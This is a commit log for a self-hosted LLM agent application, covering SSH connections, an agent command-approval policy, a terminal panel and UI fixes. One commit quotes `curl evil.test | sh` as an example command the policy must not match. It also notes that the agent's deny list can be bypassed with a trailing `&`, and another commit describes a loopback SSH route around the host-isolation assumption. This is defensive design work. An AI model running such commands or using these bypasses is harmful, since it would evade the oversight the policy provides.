7ebdc9c72264cfe9e8ccc7c09150211f3dcd6b11
8 Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
09156230b3 |
A connection that cannot point at the machine it is running on
"Nothing runs on the LLeMbas host" is the sentence the absent sandbox and the absent local MCP rest on, and an SSH profile aimed at 127.0.0.1 walked straight past it -- through a real login, with every gate in policy.py still applying, onto the machine holding the database and the Fernet key. From the SSH layer down it is indistinguishable from a container on the network, so nothing here could have noticed. One switch, three positions: never, one named port, anywhere. The middle one is the one with a real use -- a container that published its SSH port on the loopback interface is genuinely somewhere else -- and port 22 is refused even there, because that one is this host's own sshd. Enforced in five places, because a row can predate a setting: saving a profile, `session.resolve` (the control every agent tool, the terminal and the canvas go through), the composer's picker, browsing, and the draft the panels open against before a chat exists. Check refuses before it opens its socket rather than after. And the recognition never resolves a name on the request path. `refusal` runs several times per page render; the first version of this looked names up inline and the suite went from two minutes to not finishing. Literal forms are decided from the string, a name is settled where a network call is already expected, and the answer lives on the row. The gap that leaves is written down rather than discovered. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
4c78215e31 |
Narrow a chat before it starts, and find a file rather than spell it
Six things, all found by using the thing rather than by reading it. The scope menu only appeared once a chat existed, on the reasoning that there was no row to post to. True, and the wrong conclusion: the harness puts a tool's guidance in front of the model the moment the tool is offered, so the menu could not be reached until after the model had been told how to keep notes and handed the tools to do it -- and switching it off then does not un-send that turn. It is on the new-chat screen now and writes nothing: `_scope_context` builds a stand-in Chat, which is `draft.as_chat`'s trick again, and the switches ride along with the first message. Checked means on and a browser submits only the ticked boxes, so every gate also renders a hidden input naming it and `start_chat` subtracts one list from the other; inverting the control would read backwards under a menu that says everything is on unless you say otherwise. Only the off ones are written, because absent means on and one representation of it is what keeps "why is this off?" to a single answer. Nothing is validated against the offered set, since scope_json narrows after every gate -- naming a gate that was never offered switches off something that was not on. Then the scheduling instructions, audited against a 4B model on this machine rather than against my own reading of them. Ten realistic requests, ten compiled, twice over -- so the prompt is sound. What was not sound was `describe`, which built a phrase by joining fragments and read "Every the 1st at 09:00" for the commonest monthly schedule there is, and "Every of January" for a month with no day. That string is the whole of what somebody sees before approving a schedule and the whole of what the model is told about its own chat, so a phrase nobody can parse is a review step nobody performs. It reads as English now, collapses Monday-to-Friday to "every weekday" and seven days to "every day", and every case in the test is a rule that model actually produced. The one mistake it made was naming Wednesday for "every other tuesday", so the weekday numbering is spelled out rather than left as "0-6, Monday is 0": getting that wrong is the error here that still looks like a working schedule. Roughly one call in six also came back empty -- a local runner swapping models under the request will do that -- so an unusable reply is asked for once more before giving up. Not on an LLMError: an endpoint that refused will refuse again, and the reader is better served by the form than by waiting twice for the same answer. Canvas asked for a typed path, which was the last control in the application expecting somebody to remember an absolute path on another machine -- the same complaint the folder page's directory field answered with a picker. /browse takes pick=file and the same fragment makes files buttons, because a second copy of that listing is a second place for the path arithmetic to be got subtly differently. The button carries data-canvas-open rather than an hx-post since the path is not known until the dialog closes, and ui.js posts it through htmx.ajax so the response lands in the panel exactly as every other canvas action's does. The key is `agent:<path>`, so a file opened by hand and one opened by the model are one tab rather than two spellings of it. The tabs already existed and already closed; they now square off at the bottom and the active one takes the body's background, so which is selected is structural rather than a tint nobody can see in a theme they did not choose. Highlighting was already there for every language named and is checked for fifteen of them. Three smaller ones. Tabs kept their scroll position, so switching from a long panel to a short one left the browser clamping to that panel's bottom: the end of it above a screen of nothing, which reads as a page that failed to load. Nothing in CSS can reset a scroll position. The sidebar's footer and the composer sit either side of one vertical edge and were both content-sized, so their top borders met it at different heights and read as one line that had been broken -- `--footer-height` is a calc of the pieces the footer is built from, applied as a min-height to both, which is exactly what `--header-height` already does at the top of the shell. And "Add a workflow" sat flush against the list it adds to, stated as an adjacency because `.btn-row` is right to carry no margin everywhere else it appears. Both pieces of JavaScript were driven under a DOM stub before committing, which is how the tab listener's delegation and the canvas button's six behaviours were checked at all -- `node --check` parses a file that does nothing. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
a63723713f |
Look around the machine before deciding to talk about it
The terminal and the canvas both needed a Chat, so they were missing from the one screen where you are choosing which machine to work on. A draft is the smallest thing that fixes it: an id, and the three facts behind it. The trick is that a draft resolves to a *transient* Chat -- constructed, never added to a session. `canvas.agent_ready`, `_executor`, `_load_agent`, `_save_agent` and `agent_session.resolve` read exactly four attributes between them and none of them queries or writes the row, so all of it works unchanged and nothing had to learn what a draft is. Proven against a real sshd rather than a stub: a transient chat opens and saves a project file over the same SFTP path a real one uses, and the database stays empty throughout. Chats are still created lazily. A draft is not a chat and never becomes one; when the first prompt makes the real one, the shell is re-keyed into it and the open tabs are copied across. `terminal.rekey` moves the registry key *and* `session.chat_id`, because close_for_profile, close_for_owner and the reaper all pop by the field -- a stale one would leave a dead session that `get` keeps handing out. The shell is only adopted when its profile and directory match the chat as finally resolved, since `_new_chat` settles an empty directory to the connection's own; otherwise it is left alone rather than transplanted onto a chat that says it runs elsewhere. Two canvas sources are refused on a draft, by name, and one of them is a hole rather than an inconvenience. `_load_file` authorises with `attachment.chat_id != chat.id`, and an upload made on the new-chat screen is stored with `chat_id=None` -- so a draft whose chat carried no id would make that comparison `None != None`, which is False, and open every unclaimed attachment its owner has. `as_chat` does set an id, so it already fails; the refusal is stated anyway, because a guarantee that lives in an id-shaped coincidence is one the next change breaks without noticing. Adoption needed almost no JavaScript: start_chat already answers with HX-Redirect, so the page reloads and the canvas adopts by construction while the terminal reconnects to the re-keyed session and replays its scrollback -- the "a reload is indistinguishable from a second tab" property working for us. What re-points them mid-screen is a `lembas:agent-target` event, dispatched from `setDir` and the connection select because assigning to a hidden field's value fires nothing on its own. Driven under a DOM stub before committing. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
e9546dcd1f |
A reply you can read while it is still being written
Seven things, and the thread running through them is that the machinery was right and what a person saw of it was not. Auto asked about every compound command. `policy.subject` refuses to let any pattern match a line carrying a shell metacharacter -- correct, and the whole reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule on top of that asked whenever a deny list existed at all. The shipped deny list is non-empty, so `cd build && make` and `pytest | tail` both stopped for approval in the one mode whose purpose is not stopping. Nobody read that as a security control; they read it as Auto not working. It is gone, and what it costs is written down beside it and under the admin field: a deny pattern can be walked past with a trailing `&`. Matching each segment would restore both. A forty-round agent reply rendered as three zones -- all the thinking, then every tool block, then all the prose -- which is fine at two rounds and unreadable at forty. `Message.steps_json` is a table of contents over the three stores rather than a fourth copy of any of them, so `build_messages`, compaction and titling still see one string. No marks means the old layout, which is what every existing row reads back, with no version flag and no branch in the template. Nothing could be expanded while a reply streamed, and that was two faults. The tool list was replaced wholesale twelve times a second, so an opened block shut itself within 80ms; the ids are stable now and steps.js puts them back, across the final swap as well. And the thread snapped to the bottom on every frame, so a block that did open was scrolled off -- opening one now stops it following until you scroll back down yourself. Both driven under a DOM stub before committing, per the note in CLAUDE.md. The metrics were never wrong, which is why this looked like arithmetic and was not. One chip is what the reply cost and the other is what the conversation occupies; on a multi-round reply those differ by a lot and neither said which it was. What was broken is that they stood still -- usage arrives once a round, and `reported or estimated` stops consulting the estimate the moment the first chunk lands -- and that the `~` marking an estimate vanished at exactly the point everything became one. Interpolated between counts now, never over them. Background jobs had no surface at all. A chip counting what is still running and a panel with each job's command, state, log tail and a Stop button; the fifth exception to "the modes govern the model, not the interface", for the reason the other four are. file_edit had two faults worth more than the error text. A file it could not read was reported to the model as an empty one, and a file too large to read whole was patched and written back by a call that replaces -- deleting everything past the ceiling, silently, and reporting success with a byte count. Both refused now. A refused hunk also prints the file around where it landed, which is most of the retry loop these models get into. And a model can talk itself to a standstill: a round with no tool calls is a model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..." ended the reply having done nothing. `core.commit` is the prompt half and a second nudge signal is the other, narrowed to a long reply that touched nothing so that finishing is never argued with. Also: the scope menu is called Toggle and no longer offers to type an `@` for you, and "Always allow this" says when it has stored nothing rather than appearing to work. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
fc02eb5538 |
A directory the model knows about, and @ to name a file in it
An agent chat used to open with the model knowing the name of a machine and nothing about what was on it, so the first two rounds of every reply went on finding out. It now gets a listing: one read-only command, `git ls-files` where that works and `find` otherwise, falling back to an SFTP walk that always does. git first because a repository already carries somebody's considered list of what is not part of the project, and reproducing it by hand is how an index ends up mostly build output. The listing is budgeted rather than dumped. A tree of a thousand files is worse than no tree -- it costs the window on every request forever and buries the four names that mattered -- so directories that will not fit are shown as a count and the model is told to open one itself. Collapsing picks the deepest and largest first: by saving alone it would take `src/` before `src/web/static/vendor/`, because it contains it, and lose every name worth having. Read from a cache and never fetched. `harness.context_variables` is synchronous and sits on the request path; the walk happens in the generation setup, which is async and already doing network work, with a short wait. A chat whose first reply outruns its first walk simply has no listing that turn and the fragment disappears rather than appearing as an empty heading. Then `@`, over the same index and over the library, and `/` for commands with an Alt-based keyboard for the same jobs. A mentioned file arrives as contents, not a reference -- a small model asked to call file_read often does not bother -- and it arrives with its absolute path and the machine it came from, because a model handed `main.py` cannot tell which of four it is and cannot name it back when asked to change something. The rule that matters for `/`: a message that merely starts with a slash still sends. `//` escapes and an unrecognised command is posted as written. Swallowing somebody's message is a much worse failure than an unknown command. Two exceptions to Manual mode now, not one. Browsing and indexing are a person acting, not a model, so neither passes through policy.py -- the same argument the terminal panel rests on. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
a7e59a00f8 |
The composer decides what a chat is, and the topbar stops trying
The mode select in the topbar posted with hx-post against a route that only answers PATCH, so every change returned 405 and the mode never moved. htmx shows nothing when a request fails, so the control looked like it worked: the select stayed where you put it and the server ignored you. It has never worked. Two more of the same kind. A mode could not be chosen at all until the chat existed, so reaching Plan meant sending something in Manual first and letting the model answer under the wrong rules. And the project directory box was real and submitted, but unlabelled and squeezed to a few characters by the select beside it, so it read as broken -- which is how it was reported. So the kind, the connection, the directory and the mode move out of the strip above the text and into one toolbar row beneath it, where attach and send already are. The directory becomes a button that opens a browser over SFTP, because a path is something you would rather find than spell. `scan_dir` is new beside `list_dir`: a picker has to tell a directory from a file before it can draw the row, and `list_dir` backs a tool whose contract is a list of names and must not change under a model mid-conversation. Browsing is a person clicking, not a model calling, so it does not pass through policy.py -- the same argument the terminal panel rests on. It does mean Manual mode has a second exception now. Also: .chip was two components with one name, and the attachment card won, so the Chat/Agent pills silently wore its padding. --radius-md was used twice and declared nowhere, so both fell back to 0. .btn.is-active has been set by syncToggles since the terminal landed and styled by nothing. Enter-to-send ignored isComposing, so committing an IME candidate sent the message. The terminal had five colours of a sixteen-colour palette, with fallbacks from a palette that no longer exists. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
47791a88c7 |
A terminal panel beside an agent chat
A real shell on the chat's own connection, opened and closed like the inspector and never beside it. The modes govern the model; what a person types is theirs, since they hold the credential and could open the same shell with an ssh client. The model cannot see the panel -- a button copies the output you choose into the composer. The session outlives the socket: closing the panel leaves a build running, and coming back reattaches with the scrollback. Two tabs share one shell and the smaller window decides the size. It ends on an idle timeout, on deleting the chat, on disabling, moving or deleting the connection, and on a restart -- which says why rather than quietly opening a fresh shell that has lost the working directory. The nginx template's `Connection ""` is right for SSE and fails every WebSocket handshake, so `location /` now uses a `map $http_upgrade`; update.sh grows a drift check for it, because the only symptom on a stale vhost is a panel that cannot connect. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
fe7227af62 |
SSH connections, kept by the people who own them
An agent chat will act on a machine you choose, so this is the screen where you choose it. User-owned like a note, not admin-owned like a connection: these are somebody's own machines and somebody's own keys, and "anyone in this group may log in to my server" is a different feature with a different blast radius. services/sharing.py is deliberately not involved either -- sharing grants reading, and a host somebody else can read is a host they can log in to. Trust on first use, made explicit rather than assumed. Adding a host does not connect to it. Check looks at its key and shows you the fingerprint; nothing is sent until you accept, because get_server_host_key completes the key exchange and stops -- no username, no credential. Accepting pins it, and a host that later presents a different key is refused with the reason rather than quietly trusted. Moving a profile to another host or port forgets the pin, since a key belongs to the machine it came from. Four asyncssh defaults are actively wrong here and all four are passed explicitly: every LLeMbas user shares one unix account, so `known_hosts` would be a shared trust store, `client_keys` would authenticate one person with another's key, `config` would let a ProxyCommand redirect the connection, and `agent_path` would silently use $SSH_AUTH_SOCK. There is a test for exactly that, and it needs no server. Files go over SFTP rather than through a shell. The SSH exec protocol carries one command *string* that the far side parses, with no argv form at all, so a model-supplied path in a command line is unavoidably a quoting problem. Over SFTP a path is a path. Chat gains its kind, connection, project directory and mode; the first three are fixed once a chat has a message, because a transcript whose earlier turns ran somewhere else is not one conversation. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |